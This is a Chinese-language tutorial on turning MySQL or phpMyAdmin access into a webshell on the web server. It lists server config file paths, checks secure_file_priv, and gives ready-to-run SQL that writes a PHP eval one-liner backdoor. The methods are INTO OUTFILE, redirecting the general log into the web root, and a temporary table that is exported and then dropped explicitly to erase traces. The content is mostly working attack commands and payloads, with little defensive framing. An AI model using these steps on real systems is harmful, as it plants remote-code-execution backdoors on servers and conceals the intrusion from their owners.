信息收集:
此部分主要需要收集的是网站物理路径,否则后续无法通过URL连接Shell。
select @@datadir:查询数据库存储路径来推测网站物理路径,也可以通过log变量得到
# Windows
c:windows/php.ini:php配置文件
c:windows/system32/inetsrvMetaBase.xml:IIS虚拟主机配置文件
# Linux
/etc/php.ini:php配置文件
/etc/httpd/conf.d/php.conf
/etc/httpd/conf/httpd.conf: Apache配置文件
/usr/local/apache2/conf/httpd.conf
/usr/local/apache/conf/extra/httpd-vhosts.conf:虚拟目录配置文件
前提条件:
- 网站真实路径。如果不知道网站真实路径则后续无法通过URL的方式连shell。
- 读写权限。查询secure_file_priv参数,查看是否具有读写文件权限,若为NULL则没有办法写入shell。这个值是只读变量,只能通过配置文件修改,且更改后需重启服务才生。
select @@secure_file_priv #查看参数
secure_file_priv=NULL #禁止导入导出
secure_file_priv='' #不限制导入导出
secure_file_priv=/path/ #只能向指定目录导入导出
select load_file('c:/phpinfo.php'); #读取文件
select '123' into outfile 'c:/shell.php'; #写入文件
通过日志Getshell(mysql5.0以上版本):
进入到phpmyadmin后台以后,找到变量点击然后搜索general,找到对应的general log 默认是OFF,将其编辑为ON,然后将默认的general_log_file ,也就是系统日志文件位置修改为网站根目录
比如:修改general log file的位置为:D:\phpStudy\PHPTutorial\www\1.php
这样当点击save的时候,就会在根目录中新建一个1.php的日志文件。
然后在通过SQL语句执行:select '<?php eval($_POST[cmd]);?>' into outfile 'D:\phpStudy\PHPTutorial\www\1.php';
其实原理很简单,这句语句的意思就是写入一个一句话到1.php文件中,当我们开启了日志记录并且修改了记录日志的文件为1.php以后,此时无论我们执行什么样的sql语句,都是会记录到1.php中。
当然了也可以直接通过sql语句来执行上面的操作:
show variables like '%general%'; #查看配置
set global general_log = on; #开启general log模式
set global general_log_file = '/var/www/html/1.php'; #设置日志目录为shell地址
select '<?php eval($_POST[cmd]);?>' #写入shell
新建表Getshell:
- 进入一个数据库,新建数据表。
- 名字随意,这里为shell_table
- 字段数填1
- 添加字段
- 字段名任意,这里为xiaoma
- 字段类型为TEXT
- 在该表中点击插入,值为一句话木马
<?php eval($_POST[pwd]); ?>'
- 执行SQL查询,将该表中的内容导出到指定文件
select * from shell_table into outfile "G:/phpstudy/WWW/shell.php";
- 删除该表,抹除痕迹
Drop TABLE IF EXISTS shell_table;
- 以上步骤也可以通过MySQL语句执行
Create TABLE shell_table (xiaoma text NOT NULL) -- 建表
Insert INTO shell_table (xiaoma) VALUES('<?php eval($_POST[1]);?>'); -- 写入
select * from shell_table into outfile 'G:/phpstudy/WWW/shell.php'; -- 导出
Drop TABLE IF EXISTS shell_table; -- 删表